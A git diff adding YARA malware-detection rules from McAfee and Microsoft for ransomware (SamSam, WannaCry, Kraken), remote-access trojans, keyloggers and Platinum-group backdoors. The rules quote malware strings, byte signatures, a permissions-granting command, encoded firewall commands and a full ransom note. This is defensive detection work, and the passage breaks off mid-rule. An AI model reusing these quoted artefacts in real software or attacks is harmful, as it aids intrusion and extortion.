--- /dev/null
+++ b/yara-mikesxrs/McAfee/NionSpy.yar
@@ -0,0 +1,19 @@
+rule NionSpy
+{
+
+meta:
+author="McAfee"
+reference = "https://securingtomorrow.mcafee.com/mcafee-labs/taking-a-close-look-at-data-stealing-nionspy-file-infector/"
+description = "Triggers on old and new variants of W32/NionSpy file infector"
+
+strings:
+
+$variant2015_infmarker = "aCfG92KXpcSo4Y94BnUrFmnNk27EhW6CqP5EnT"
+$variant2013_infmarker = "ad6af8bd5835d19cc7fdc4c62fdf02a1"
+$variant2013_string = "%s?cstorage=shell&comp=%s"
+
+condition:
+
+uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 1 of ($variant*)
+
+}
diff --git a/yara-mikesxrs/McAfee/OLE_JSRAT.yar b/yara-mikesxrs/McAfee/OLE_JSRAT.yar
new file mode 100644
index 0000000..e4a1e3a
--- /dev/null
+++ b/yara-mikesxrs/McAfee/OLE_JSRAT.yar
@@ -0,0 +1,18 @@
+rule APT_OLE_JSRat
+{
+meta:
+author = "Rahul Mohandas"
+reference = "https://securingtomorrow.mcafee.com/mcafee-labs/stealthy-cyberespionage-campaign-attacks-with-social-engineering"
+Date = "2015-06-16"
+Description = "Targeted attack using Excel/word documents"
+
+strings:
+$header = {D0 CF 11 E0 A1 B1 1A E1}
+$key1 = "AAAAAAAAAA"
+$key2 = "Base64Str" nocase
+$key3 = "DeleteFile" nocase
+$key4 = "Scripting.FileSystemObject" nocase
+
+condition:
+$header at 0 and (all of ($key*) )
+}
diff --git a/yara-mikesxrs/McAfee/SAmSAmRansom2016,yar b/yara-mikesxrs/McAfee/SAmSAmRansom2016,yar
new file mode 100644
index 0000000..afeb627
--- /dev/null
+++ b/yara-mikesxrs/McAfee/SAmSAmRansom2016,yar
@@ -0,0 +1,50 @@
+import "pe"
+
+rule SAmSAmRansom2016 {
+   meta:
+      author = "Christiaan Beek"
+      date = "2018-01-25"
+      hash1 = "45e00fe90c8aa8578fce2b305840e368d62578c77e352974da6b8f8bc895d75b"
+      hash2 = "946dd4c4f3c78e7e4819a712c7fd6497722a3d616d33e3306a556a9dc99656f4"
+      hash3 = "979692a34201f9fc1e1c44654dc8074a82000946deedfdf6b8985827da992868"
+      hash4 = "939efdc272e8636fd63c1b58c2eec94cf10299cd2de30c329bd5378b6bbbd1c8"
+      hash5 = "a763ed678a52f77a7b75d55010124a8fccf1628eb4f7a815c6d635034227177e"
+      hash6 = "e682ac6b874e0a6cfc5ff88798315b2cb822d165a7e6f72a5eb74e6da451e155"
+      hash7 = "6bc2aa391b8ef260e79b99409e44011874630c2631e4487e82b76e5cb0a49307"
+      hash8 = "036071786d7db553e2415ec2e71f3967baf51bdc31d0a640aa4afb87d3ce3050"
+      hash9 = "ffef0f1c2df157e9c2ee65a12d5b7b0f1301c4da22e7e7f3eac6b03c6487a626"
+      hash10 = "89b4abb78970cd524dd887053d5bcd982534558efdf25c83f96e13b56b4ee805"
+      hash11 = "7aa585e6fd0a895c295c4bea2ddb071eed1e5775f437602b577a54eef7f61044"
+      hash12 = "0f2c5c39494f15b7ee637ad5b6b5d00a3e2f407b4f27d140cd5a821ff08acfac"
+      hash13 = "58ef87523184d5df3ed1568397cea65b3f44df06c73eadeb5d90faebe4390e3e"
+   strings:
+      $x1 = "Could not list processes locking resource. Failed to get size of result." fullword wide
+      $s2 = "Could not list processes locking resource." fullword wide
+      $s3 = "samsam.del.exe" fullword ascii
+      $s4 = "samsam.exe" fullword wide
+      $s5 = "RM_UNIQUE_PROCESS" fullword ascii
+      $s6 = "KillProcessWithWait" fullword ascii
+      $s7 = "killOpenedProcessTree" fullword ascii
+      $s8 = "RM_PROCESS_INFO" fullword ascii
+      $s9 = "Exception caught in process: {0}" fullword wide
+      $s10 = "Could not begin restart session.  Unable to determine file locker." fullword wide
+      $s11 = "samsam.Properties.Resources.resources" fullword ascii
+      $s12 = "EncryptStringToBytes" fullword ascii
+      $s13 = "recursivegetfiles" fullword ascii
+      $s14 = "RSAEncryptBytes" fullword ascii
+      $s15 = "encryptFile" fullword ascii
+      $s16 = "samsam.Properties.Resources" fullword wide
+      $s17 = "TSSessionId" fullword ascii
+      $s18 = "Could not register resource." fullword wide
+      $s19 = "<recursivegetfiles>b__0" fullword ascii
+      $s20 = "create_from_resource" fullword ascii
+
+      $op0 = { 96 00 e0 00 29 00 0b 00 34 23 }
+      $op1 = { 96 00 12 04 f9 00 34 00 6c 2c }
+      $op2 = { 72 a5 0a 00 70 a2 06 20 94 }
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 700KB and
+        pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744" and ( 1 of ($x*) and 4 of them ) and all of ($op*)
+      ) or ( all of them )
+}
diff --git a/yara-mikesxrs/McAfee/SamSam_Ransomware_Latest.yar b/yara-mikesxrs/McAfee/SamSam_Ransomware_Latest.yar
new file mode 100644
index 0000000..a6b4e40
--- /dev/null
+++ b/yara-mikesxrs/McAfee/SamSam_Ransomware_Latest.yar
@@ -0,0 +1,47 @@
+import "pe"
+
+rule SamSam_Ransomware_Latest
+{
+   meta:
+      description = "Latest SamSA ransomware samples"
+      author = "Christiaan Beek"
+      reference = "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html"
+      date = "2018-01-23"
+      hash1 = "e7bebd1b1419f42293732c70095f35c8310fa3afee55f1df68d4fe6bbee5397e"
+      hash2 = "72832db9b951663b8f322778440b8720ea95cde0349a1d26477edd95b3915479"
+      hash3 = "3531bb1077c64840b9c95c45d382448abffa4f386ad88e125c96a38166832252"
+      hash4 = "88d24b497cfeb47ec6719752f2af00c802c38e7d4b5d526311d552c6d5f4ad34"
+      hash5 = "8eabfa74d88e439cfca9ccabd0ee34422892d8e58331a63bea94a7c4140cf7ab"
+      hash6 = "88e344977bf6451e15fe202d65471a5f75d22370050fe6ba4dfa2c2d0fae7828"
+
+   strings:
+      $s1 = "bedf08175d319a2f879fe720032d11e5" fullword wide
+      $s2 = "ksdghksdghkddgdfgdfgfd" fullword ascii
+      $s3 = "osieyrgvbsgnhkflkstesadfakdhaksjfgyjqqwgjrwgehjgfdjgdffg" fullword ascii
+      $s4 = "5c2d376c976669efaf9cb107f5a83d0c" fullword wide
+      $s5 = "B917754BCFE717EB4F7CE04A5B11A6351EEC5015" fullword ascii
+      $s6 = "f99e47c1d4ccb2b103f5f730f8eb598a" fullword wide
+      $s7 = "d2db284217a6e5596913e2e1a5b2672f" fullword wide
+      $s8 = "0bddb8acd38f6da118f47243af48d8af" fullword wide
+      $s9 = "f73623dcb4f62b0e5b9b4d83e1ee4323" fullword wide
+      $s10 = "916ab48e32e904b8e1b87b7e3ced6d55" fullword wide
+      $s11 = "c6e61622dc51e17195e4df6e359218a2" fullword wide
+      $s12 = "2a9e8d549af13031f6bf7807242ce27f" fullword wide
+      $s13 = "e3208957ad76d2f2e249276410744b29" fullword wide
+      $s14 = "b4d28bbd65da97431f494dd7741bee70" fullword wide
+      $s15 = "81ee346489c272f456f2b17d96365c34" fullword wide
+      $s16 = "94682debc6f156b7e90e0d6dc772734d" fullword wide
+      $s17 = "6943e17a989f11af750ea0441a713b89" fullword wide
+      $s18 = "b1c7e24b315ff9c73a9a89afac5286be" fullword wide
+      $s19 = "90928fd1250435589cc0150849bc0cff" fullword wide
+      $s20 = "67da807268764a7badc4904df351932e" fullword wide
+
+      $op0 = { 30 01 00 2b 68 79 33 38 68 34 77 65 36 34 74 72 }
+      $op1 = { 01 00 b2 04 00 00 01 00 84 }
+      $op2 = { 68 09 00 00 38 66 00 00 23 55 53 00 a0 6f 00 00 }
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 100KB and
+        pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744" and ( 8 of them ) and all of ($op*)
+      ) or ( all of them )
+}
diff --git a/yara-mikesxrs/McAfee/Spygate_2.9_RAT.yar b/yara-mikesxrs/McAfee/Spygate_2.9_RAT.yar
new file mode 100644
index 0000000..77297e3
--- /dev/null
+++ b/yara-mikesxrs/McAfee/Spygate_2.9_RAT.yar
@@ -0,0 +1,17 @@
+rule SpyGate_v2_9
+{
+	meta:
+    author = "McAfee"
+		date = "2014/09"
+		maltype = "Spygate v2.9 Remote Access Trojan"
+		filetype = "exe"
+		reference = "https://blogs.mcafee.com/mcafee-labs/middle-east-developer-spygate-struts-stuff-online"
+	strings:
+		$1 = "shutdowncomputer" wide
+		$2 = "shutdown -r -t 00" wide
+		$3 = "blockmouseandkeyboard" wide
+		$4 = "ProcessHacker"
+		$5 = "FileManagerSplit" wide
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/McAfee/W97M_Vawtrak_dropper.yar b/yara-mikesxrs/McAfee/W97M_Vawtrak_dropper.yar
new file mode 100644
index 0000000..2de537a
--- /dev/null
+++ b/yara-mikesxrs/McAfee/W97M_Vawtrak_dropper.yar
@@ -0,0 +1,20 @@
+rule W97M_Vawtrak_dropper
+{
+meta:
+author="McAfee"
+description="W97M_Vawtrak_Dropper"
+reference = "https://securingtomorrow.mcafee.com/mcafee-labs/w97m-downloader-serving-vawtrak/"
+
+strings:
+$asterismal="asterismal"
+$bootlicking="bootlicking"
+$shell="WScript.Shell"
+$temp="%temp%"
+$oxygon="oxygon.exe"
+$saxhorn = "saxhorn"
+$fire = "Fire"
+$bin= "546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e"
+
+condition:
+all of them
+}
diff --git a/yara-mikesxrs/McAfee/WannaCry.yar b/yara-mikesxrs/McAfee/WannaCry.yar
new file mode 100644
index 0000000..93d9cd9
--- /dev/null
+++ b/yara-mikesxrs/McAfee/WannaCry.yar
@@ -0,0 +1,59 @@
+rule wannacry_1 : ransom
+{
+meta:
+author = "Joshua Cannell"
+description = "WannaCry Ransomware strings"
+reference = "https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/"
+weight = 100
+date = "2017-05-12"
+ 
+strings:
+$s1 = "Ooops, your files have been encrypted!" wide ascii nocase
+$s2 = "Wanna Decryptor" wide ascii nocase
+$s3 = ".wcry" wide ascii nocase
+$s4 = "WANNACRY" wide ascii nocase
+$s5 = "WANACRY!" wide ascii nocase
+$s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
+ 
+condition:
+any of them
+}
+rule wannacry_2{
+meta:
+author = "Harold Ogden"
+description = "WannaCry Ransomware Strings"
+reference = "https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/"
+date = "2017-05-12"
+weight = 100
+strings:
+$string1 = "msg/m_bulgarian.wnry"
+$string2 = "msg/m_chinese (simplified).wnry"
+$string3 = "msg/m_chinese (traditional).wnry"
+$string4 = "msg/m_croatian.wnry"
+$string5 = "msg/m_czech.wnry"
+$string6 = "msg/m_danish.wnry"
+$string7 = "msg/m_dutch.wnry"
+$string8 = "msg/m_english.wnry"
+$string9 = "msg/m_filipino.wnry"
+$string10 = "msg/m_finnish.wnry"
+$string11 = "msg/m_french.wnry"
+$string12 = "msg/m_german.wnry"
+$string13 = "msg/m_greek.wnry"
+$string14 = "msg/m_indonesian.wnry"
+$string15 = "msg/m_italian.wnry"
+$string16 = "msg/m_japanese.wnry"
+$string17 = "msg/m_korean.wnry"
+$string18 = "msg/m_latvian.wnry"
+$string19 = "msg/m_norwegian.wnry"
+$string20 = "msg/m_polish.wnry"
+$string21 = "msg/m_portuguese.wnry"
+$string22 = "msg/m_romanian.wnry"
+$string23 = "msg/m_russian.wnry"
+$string24 = "msg/m_slovak.wnry"
+$string25 = "msg/m_spanish.wnry"
+$string26 = "msg/m_swedish.wnry"
+$string27 = "msg/m_turkish.wnry"
+$string28 = "msg/m_vietnamese.wnry"
+condition:
+any of ($string*)
+}
diff --git a/yara-mikesxrs/McAfee/kraken_ransomware.yar b/yara-mikesxrs/McAfee/kraken_ransomware.yar
new file mode 100644
index 0000000..07bd756
--- /dev/null
+++ b/yara-mikesxrs/McAfee/kraken_ransomware.yar
@@ -0,0 +1,78 @@
+rule kraken_cryptor_ransomware_loader {
+
+   meta:
+
+      description = "Rule to detect the Kraken Cryptor Ransomware loader"
+      author = "Marc Rivero | McAfee ATR Team"
+	  reference = "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/"
+   strings:
+
+      $pdb = "C:\\Users\\Krypton\\source\\repos\\UAC\\UAC\\obj\\Release\\UAC.pdb" fullword ascii
+      $s2 = "SOFTWARE\\Classes\\mscfile\\shell\\open\\command" fullword wide
+      $s3 = "public_key" fullword ascii
+      $s4 = "KRAKEN DECRYPTOR" ascii
+      $s5 = "UNIQUE KEY" fullword ascii
+
+
+   condition:
+
+      ( uint16(0) == 0x5a4d and filesize < 600KB ) and $pdb or all of ($s*)
+}
+
+rule kraken_cryptor_ransomware {
+   
+   meta:
+
+      description = "Rule to detect the Kraken Cryptor Ransomware"
+      author = "Marc Rivero | McAfee ATR Team"
+	  reference = "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/"
+
+   strings:
+     
+      $s1 = "Kraken Cryptor" fullword ascii nocase
+      $s2 = "support_email" fullword ascii
+      $fw1 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii 
+      $fw2 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii 
+      $fw3 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii 
+      $fw4 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii 
+      $uac = "<!--<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\" />-->   " fullword ascii
+  
+   condition:
+
+      ( uint16(0) == 0x5a4d and filesize < 600KB ) and all of ($fw*) or all of ($s*) or $uac
+}
+
+rule ransom_note_kraken_cryptor_ransomware {
+   
+   meta:
+
+      description = "Rule to detect the ransom note delivered by Kraken Cryptor Ransomware"
+      author = "Marc Rivero | McAfee ATR Team"
+	  reference = "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/"
+
+   strings:
+
+      $s1 = "No way to recovery your files without \"KRAKEN DECRYPTOR\" software and your computer \"UNIQUE KEY\"!" fullword ascii
+      $s2 = "Are you want to decrypt all of your encrypted files? If yes! You need to pay for decryption service to us!" fullword ascii
+      $s3 = "The speed, power and complexity of this encryption have been high and if you are now viewing this guide." fullword ascii
+      $s4 = "Project \"KRAKEN CRYPTOR\" doesn't damage any of your files, this action is reversible if you follow the instructions above." fullword ascii
+      $s5 = "https://localBitcoins.com" fullword ascii
+      $s6 = "For the decryption service, we also need your \"KRAKEN ENCRYPTED UNIQUE KEY\" you can see this in the top!" fullword ascii
+      $s7 = "-----BEGIN KRAKEN ENCRYPTED UNIQUE KEY----- " fullword ascii
+      $s8 = "All your files has been encrypted by \"KRAKEN CRYPTOR\"." fullword ascii
+      $s9 = "It means that \"KRAKEN CRYPTOR\" immediately removed form your system!" fullword ascii
+      $s10 = "After your payment made, all of your encrypted files has been decrypted." fullword ascii
+      $s11 = "Don't delete .XKHVE files! there are not virus and are your files, but encrypted!" fullword ascii
+      $s12 = "You can decrypt one of your encrypted smaller file for free in the first contact with us." fullword ascii
+      $s13 = "You must register on this site and click \"BUY Bitcoins\" then choose your country to find sellers and their prices." fullword ascii
+      $s14 = "-----END KRAKEN ENCRYPTED UNIQUE KEY-----" fullword ascii
+      $s15 = "DON'T MODIFY \"KRAKEN ENCRYPT UNIQUE KEY\"." fullword ascii
+      $s16 = "# Read the following instructions carefully to decrypt your files." fullword ascii
+      $s17 = "We use best and easy way to communications. It's email support, you can see our emails below." fullword ascii
+      $s18 = "DON'T USE THIRD PARTY, PUBLIC TOOLS/SOFTWARE TO DECRYPT YOUR FILES, THIS CAUSE DAMAGE YOUR FILES PERMANENTLY." fullword ascii
+      $s19 = "https://en.wikipedia.org/wiki/Bitcoin" fullword ascii
+      $s20 = "Please send your message with same subject to both address." fullword ascii
+   condition:
+
+      ( uint16(0) == 0x4120 and filesize < 9KB ) and all of them 
+}
diff --git a/yara-mikesxrs/McAfee/rovnix_downloader.yar b/yara-mikesxrs/McAfee/rovnix_downloader.yar
new file mode 100644
index 0000000..ad85968
--- /dev/null
+++ b/yara-mikesxrs/McAfee/rovnix_downloader.yar
@@ -0,0 +1,29 @@
+rule rovnix_downloader
+{
+meta:
+author="McAfee"
+description="Rovnix downloader with sinkhole checks"
+reference = "https://securingtomorrow.mcafee.com/mcafee-labs/rovnix-downloader-sinkhole-time-checks/"
+
+strings:
+$sink1="control"
+$sink2 = "sink"
+$sink3 = "hole"
+$sink4= "dynadot"
+$sink5= "block"
+$sink6= "malw"
+$sink7= "anti"
+$sink8= "googl"
+$sink9= "hack"
+$sink10= "trojan"
+$sink11= "abuse"
+$sink12= "virus"
+$sink13= "black"
+$sink14= "spam"
+$boot= "BOOTKIT_DLL.dll"
+$mz = { 4D 5A }
+
+condition:
+$mz in (0..2) and all of ($sink*) and $boot
+
+}
diff --git a/yara-mikesxrs/McAfee/shifu.yar b/yara-mikesxrs/McAfee/shifu.yar
new file mode 100644
index 0000000..3f3b8cb
--- /dev/null
+++ b/yara-mikesxrs/McAfee/shifu.yar
@@ -0,0 +1,17 @@
+rule Shifu : Shifu
+{
+meta:
+author = "McAfee"
+reference = "https://securingtomorrow.mcafee.com/mcafee-labs/japanese-banking-trojan-shifu-combines-malware-tools/"
+
+strings:
+
+$a = "CryptCreateHash"
+$b = "RegCreateKeyA"
+$c = {2F 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 22 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 25 00 73 00 00 00 00 00 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 00 72 00 75 00 6E}
+$d = {53 00 6E 00 64 00 56 00 6F 00 6C 00 2E 00 65 00 78 00 65}
+$e = {52 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 45 00 58 00 45}
+
+condition:
+all of them
+}
diff --git a/yara-mikesxrs/Microsoft/DevilsTongue_HijackDll.yar b/yara-mikesxrs/Microsoft/DevilsTongue_HijackDll.yar
new file mode 100644
index 0000000..487b2e3
--- /dev/null
+++ b/yara-mikesxrs/Microsoft/DevilsTongue_HijackDll.yar
@@ -0,0 +1,45 @@
+import "pe"
+rule DevilsTongue_HijackDll
+{
+meta:
+description = "Detects SOURGUM's DevilsTongue hijack DLL"
+reference = "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/"
+author = "Microsoft Threat Intelligence Center (MSTIC)"
+date = "2021-07-15"
+strings:
+$str1 = "windows.old\\windows" wide
+$str2 = "NtQueryInformationThread"
+$str3 = "dbgHelp.dll" wide
+$str4 = "StackWalk64"
+$str5 = "ConvertSidToStringSidW"
+$str6 = "S-1-5-18" wide
+$str7 = "SMNew.dll" // DLL original name
+// Call check in stack manipulation
+// B8 FF 15 00 00   mov     eax, 15FFh
+// 66 39 41 FA      cmp     [rcx-6], ax
+// 74 06            jz      short loc_1800042B9
+// 80 79 FB E8      cmp     byte ptr [rcx-5], 0E8h ; 'è'
+$code1 = {B8 FF 15 00 00 66 39 41 FA 74 06 80 79 FB E8}
+// PRNG to generate number of times to sleep 1s before exiting
+// 44 8B C0 mov r8d, eax
+// B8 B5 81 4E 1B mov eax, 1B4E81B5h
+// 41 F7 E8 imul r8d
+// C1 FA 05 sar edx, 5
+// 8B CA    mov ecx, edx
+// C1 E9 1F shr ecx, 1Fh
+// 03 D1    add edx, ecx
+// 69 CA 2C 01 00 00 imul ecx, edx, 12Ch
+// 44 2B C1 sub r8d, ecx
+// 45 85 C0 test r8d, r8d
+// 7E 19    jle  short loc_1800014D0
+$code2 = {44 8B C0 B8 B5 81 4E 1B 41 F7 E8 C1 FA 05 8B CA C1 E9 1F 03 D1 69 CA 2C 01 00 00 44 2B C1 45 85 C0 7E 19}
+condition:
+filesize < 800KB and
+uint16(0) == 0x5A4D and
+(pe.characteristics & pe.DLL) and
+(
+4 of them or
+($code1 and $code2) or
+(pe.imphash() == "9a964e810949704ff7b4a393d9adda60")
+)
+}
diff --git a/yara-mikesxrs/Microsoft/Platinum.yara b/yara-mikesxrs/Microsoft/Platinum.yara
new file mode 100644
index 0000000..24fb158
--- /dev/null
+++ b/yara-mikesxrs/Microsoft/Platinum.yara
@@ -0,0 +1,414 @@
+rule Trojan_Win32_PlaSrv : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Hotpatching Injector"
+    original_sample_sha1 = "ff7f949da665ba8ce9fb01da357b51415634eaad"
+    unpacked_sample_sha1 = "dff2fee984ba9f5a8f5d97582c83fca4fa1fe131"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $Section_name = ".hotp1"
+    $offset_x59 = { C7 80 64 01 00 00 00 00 01 00 }
+
+  condition:
+    $Section_name and $offset_x59
+}
+
+rule Trojan_Win32_Platual : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Installer component"
+    original_sample_sha1 = "e0ac2ae221328313a7eee33e9be0924c46e2beb9"
+    unpacked_sample_sha1 = "ccaf36c2d02c3c5ca24eeeb7b1eae7742a23a86a"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $class_name = "AVCObfuscation"
+    $scrambled_dir = { A8 8B B8 E3 B1 D7 FE 85 51 32 3E C0 F1 B7 73 99 }
+
+  condition:$class_name and $scrambled_dir
+}
+
+rule Trojan_Win32_Plaplex : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Variant of the JPin backdoor"
+    original_sample_sha1 = "ca3bda30a3cdc15afb78e54fa1bbb9300d268d66"
+    unpacked_sample_sha1 = "2fe3c80e98bbb0cf5a0c4da286cd48ec78130a24"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $class_name1 = "AVCObfuscation"
+    $class_name2 = "AVCSetiriControl"
+
+  condition:$class_name1 and $class_name2
+}
+
+rule Trojan_Win32_Dipsind_B : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Dipsind Family"
+    sample_sha1 = "09e0dfbb5543c708c0dd6a89fd22bbb96dc4ca1c"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $frg1 = {8D 90 04 01 00 00 33 C0 F2 AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 4D EC 8B 15 ?? ?? ?? ?? 89 91 ?? 07 00 00 }
+    $frg2 = {68 A1 86 01 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA}
+    $frg3 = {C0 E8 07 D0 E1 0A C1 8A C8 32 D0 C0 E9 07 D0 E0 0A C8 32 CA 80 F1 63}
+
+  condition:
+    $frg1 and $frg2 and $frg3
+}
+
+rule Trojan_Win32_PlaKeylog_B : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Keylogger component"
+    original_sample_sha1 = "0096a3e0c97b85ca75164f48230ae530c94a2b77"
+    unpacked_sample_sha1 = "6a1412daaa9bdc553689537df0a004d44f8a45fd"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $hook = {C6 06 FF 46 C6 06 25}
+    $dasm_engine = {80 C9 10 88 0E 8A CA 80 E1 07 43 88 56 03 80 F9 05}
+
+  condition:
+    $hook and $dasm_engine
+}
+
+rule Trojan_Win32_Adupib : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Adupib SSL Backdoor"
+    original_sample_sha1 = "d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd"
+    unpacked_sample_sha1 = "a80051d5ae124fd9e5cc03e699dd91c2b373978b"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = "POLL_RATE"
+    $str2 = "OP_TIME(end hour)"
+    $str3 = "%d:TCP:*:Enabled"
+    $str4 = "%s[PwFF_cfg%d]"
+    $str5 = "Fake_GetDlgItemTextW: ***value***"
+
+  condition:
+    $str1 and $str2 and $str3 and $str4 and $str5
+}
+
+rule Trojan_Win32_PlaLsaLog : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Loader / possible incomplete LSA Password Filter"
+    original_sample_sha1 = "fa087986697e4117c394c9a58cb9f316b2d9f7d8"
+    unpacked_sample_sha1 = "29cb81dbe491143b2f8b67beaeae6557d8944ab4"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = {8A 1C 01 32 DA 88 1C 01 8B 74 24 0C 41 3B CE 7C EF 5B 5F C6 04 01 00 5E 81 C4 04 01 00 00 C3}
+    $str2 = "PasswordChangeNotify"
+
+  condition:
+    $str1 and $str2
+}
+
+rule Trojan_Win32_Plagon : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Dipsind variant"
+    original_sample_sha1 = "48b89f61d58b57dba6a0ca857bce97bab636af65"
+    unpacked_sample_sha1 = "6dccf88d89ad7b8611b1bc2e9fb8baea41bdb65a"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = "VPLRXZHTU"
+    $str2 = {64 6F 67 32 6A 7E 6C}
+    $str3 = "Dqpqftk(Wou\"Isztk)"
+    $str4 = "StartThreadAtWinLogon"
+
+  condition:
+    $str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Plakelog : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Raw-input based keylogger"
+    original_sample_sha1 = "3907a9e41df805f912f821a47031164b6636bd04"
+    unpacked_sample_sha1 = "960feeb15a0939ec0b53dcb6815adbf7ac1e7bb2"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified= "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = "<0x02>" wide
+    $str2 = "[CTR-BRK]" wide
+    $str3 = "[/WIN]" wide
+    $str4 = {8A 16 8A 18 32 DA 46 88 18 8B 15 08 E6 42 00 40 41 3B CA 72 EB 5E 5B}
+
+  condition:
+    $str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Plainst : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Installer component"
+    original_sample_sha1 = "99c08d31af211a0e17f92dd312ec7ca2b9469ecb"
+    unpacked_sample_sha1 = "dcb6cf7cf7c8fdfc89656a042f81136bda354ba6"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = {66 8B 14 4D 18 50 01 10 8B 45 08 66 33 14 70 46 66 89 54 77 FE 66 83 7C 77 FE 00 75 B7 8B 4D FC 89 41 08 8D 04 36 89 41 0C 89 79 04}
+    $str2 = {4b D391 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+
+  condition:
+    $str1 and $str2
+}
+
+rule Trojan_Win32_Plagicom : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Installer component"
+    original_sample_sha1 = "99dcb148b053f4cef6df5fa1ec5d33971a58bd1e"
